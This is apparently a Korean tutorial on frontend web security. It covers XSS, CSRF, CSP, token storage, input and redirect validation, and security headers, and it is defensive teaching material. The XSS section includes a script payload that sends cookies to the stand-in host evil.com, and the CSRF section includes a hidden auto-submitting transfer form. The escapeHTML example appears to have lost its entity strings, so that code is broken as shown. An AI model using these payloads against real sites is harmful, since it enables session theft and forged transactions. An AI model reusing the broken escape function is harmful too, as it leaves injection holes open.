Security
프론트엔드 보안 기초
XSS, CSRF 등 흔한 보안 취약점과 방어 방법을 알아봅니다. 안전한 웹 애플리케이션을 만드는 기본 원칙입니다.
보안은 모든 개발자가 알아야 할 기본 지식입니다. 프론트엔드에서 발생할 수 있는 주요 보안 취약점과 대응 방법을 알아봅니다.
XSS (Cross-Site Scripting)
악성 스크립트가 웹 페이지에 삽입되어 실행되는 공격입니다.
공격 예시
// 사용자 입력을 그대로 출력
const userComment = '<script>document.location="https://evil.com/steal?cookie="+document.cookie</script>';
element.innerHTML = userComment; // 위험!
방어 방법
// 1. innerHTML 대신 textContent 사용
element.textContent = userComment;
// 2. 이스케이프 처리
function escapeHTML(str) {
return str
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''');
}
// 3. React는 기본적으로 이스케이프 처리
<div>{userComment}</div> // 안전
// 4. dangerouslySetInnerHTML은 신중하게
// 신뢰할 수 있는 소스 또는 sanitize된 데이터만 사용
import DOMPurify from 'dompurify';
<div dangerouslySetInnerHTML={{ __html: DOMPurify.sanitize(html) }} />
Content Security Policy (CSP)
HTTP 헤더로 허용되는 리소스를 제한합니다.
Content-Security-Policy:
default-src 'self';
script-src 'self' https://trusted.com;
style-src 'self' 'unsafe-inline';
img-src 'self' data: https:;
CSRF (Cross-Site Request Forgery)
사용자가 의도하지 않은 요청을 보내게 하는 공격입니다.
공격 예시
<!-- 악성 사이트에 숨겨진 폼 -->
<form action="https://bank.com/transfer" method="POST" style="display:none">
<input name="to" value="attacker">
<input name="amount" value="1000000">
</form>
<script>document.forms[0].submit();</script>
방어 방법
// 1. CSRF 토큰 사용
const csrfToken = getCookie('csrf_token');
fetch('/api/transfer', {
method: 'POST',
headers: {
'X-CSRF-Token': csrfToken,
'Content-Type': 'application/json'
},
body: JSON.stringify(data)
});
// 2. SameSite 쿠키 속성
// 서버에서 설정
Set-Cookie: session=abc123; SameSite=Strict; Secure; HttpOnly
// 3. Origin/Referer 헤더 검증 (서버 측)
안전한 인증 처리
토큰 저장 위치
// 나쁜 예: localStorage (XSS에 취약)
localStorage.setItem('token', token);
// 권장: HttpOnly 쿠키
// 서버에서 설정
Set-Cookie: token=xxx; HttpOnly; Secure; SameSite=Strict
// 또는 메모리에 저장 (새로고침 시 사라짐)
let token = null;
function setToken(t) { token = t; }
민감한 정보 노출 방지
// 나쁜 예: 민감한 정보를 콘솔에 출력
console.log('User data:', { email, password, token });
// 나쁜 예: 에러 메시지에 상세 정보 노출
catch (error) {
alert(`DB 에러: ${error.sqlMessage}`);
}
// 좋은 예: 일반적인 메시지만 표시
catch (error) {
console.error(error); // 개발 환경에서만
alert('오류가 발생했습니다.');
}
의존성 보안
취약점 검사
# npm 취약점 검사
npm audit
# 자동 수정
npm audit fix
# 상세 정보
npm audit --json
Dependabot 활용
GitHub에서 자동으로 취약한 의존성을 감지하고 PR을 생성합니다.
입력 검증
클라이언트 검증은 UX를 위한 것
// 클라이언트 검증 (쉽게 우회 가능)
function validateEmail(email) {
const regex = /^[^s@]+@[^s@]+.[^s@]+$/;
return regex.test(email);
}
// 중요: 서버에서 반드시 재검증해야 함
// 클라이언트 검증은 UX 개선 목적
URL 검증
// 나쁜 예: 외부 URL로 리다이렉트 허용
const returnUrl = new URLSearchParams(location.search).get('return');
window.location.href = returnUrl; // 피싱에 악용 가능
// 좋은 예: 허용된 URL만 사용
const allowedHosts = ['mysite.com', 'api.mysite.com'];
const url = new URL(returnUrl, location.origin);
if (allowedHosts.includes(url.hostname)) {
window.location.href = returnUrl;
} else {
window.location.href = '/';
}
보안 헤더
서버에서 설정하는 주요 보안 헤더입니다.
# XSS 방어
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
# 클릭재킹 방어
X-Frame-Options: DENY
# HTTPS 강제
Strict-Transport-Security: max-age=31536000; includeSubDomains
마무리
보안은 한 번 설정하고 끝나는 것이 아닙니다. 지속적으로 취약점을 확인하고 의존성을 업데이트해야 합니다.
기본 원칙은 "사용자 입력을 절대 신뢰하지 않는다"입니다. 모든 입력은 검증하고, 출력할 때는 이스케이프하며, 민감한 데이터는 안전하게 저장합니다.